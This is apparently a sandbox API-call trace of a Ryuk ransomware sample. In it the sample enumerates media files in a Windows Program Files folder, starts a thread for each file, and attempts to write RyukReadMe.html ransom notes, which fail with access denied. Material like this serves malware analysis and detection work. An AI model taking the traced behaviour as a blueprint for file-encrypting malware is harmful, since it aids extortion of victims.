	[0179.291] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc70
	[0179.294] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.294] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x76, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1
	[0179.294] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc74
	[0179.297] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.297] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x76, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1
	[0179.297] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc78
	[0179.300] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.300] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x76, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0
	[0179.300] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0179.729] SetLastError (dwErrCode=0x0) 
	[0179.729] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.739] GetLastError () returned 0x5
	[0179.739] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0179.739] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.740] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1
	[0179.740] SetLastError (dwErrCode=0x0) 
	[0179.740] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.740] GetLastError () returned 0x5
	[0179.740] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0179.740] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0179.873] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0179.873] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1
	[0179.873] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc7c
	[0179.877] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.877] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1
	[0179.877] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc80
	[0179.879] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.880] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1
	[0179.880] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc84
	[0179.883] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.884] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1
	[0179.884] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc88
	[0179.886] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.886] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1
	[0179.886] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc8c
	[0179.889] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.890] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1
	[0179.890] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc90
	[0180.033] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.034] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1
	[0180.034] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc94
	[0180.036] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.037] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1
	[0180.037] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc98
	[0180.066] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.067] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1
	[0180.067] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc9c
	[0180.069] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.070] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1
	[0180.070] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca0
	[0180.073] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.073] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1
	[0180.073] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca4
	[0180.076] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.077] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1
	[0180.077] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca8
	[0180.079] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.080] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1
	[0180.080] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcac
	[0180.082] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.083] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1
	[0180.083] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb0
	[0180.085] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.086] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1
	[0180.086] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb4
	[0180.088] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.089] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1
	[0180.089] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb8
	[0180.092] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.092] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1
	[0180.093] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcbc
	[0180.255] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.255] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1
	[0180.256] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.256] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc0
	[0180.258] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.259] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1
	[0180.259] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.260] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc4
	[0180.261] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.261] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x76, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1
	[0180.261] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc8
	[0180.264] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
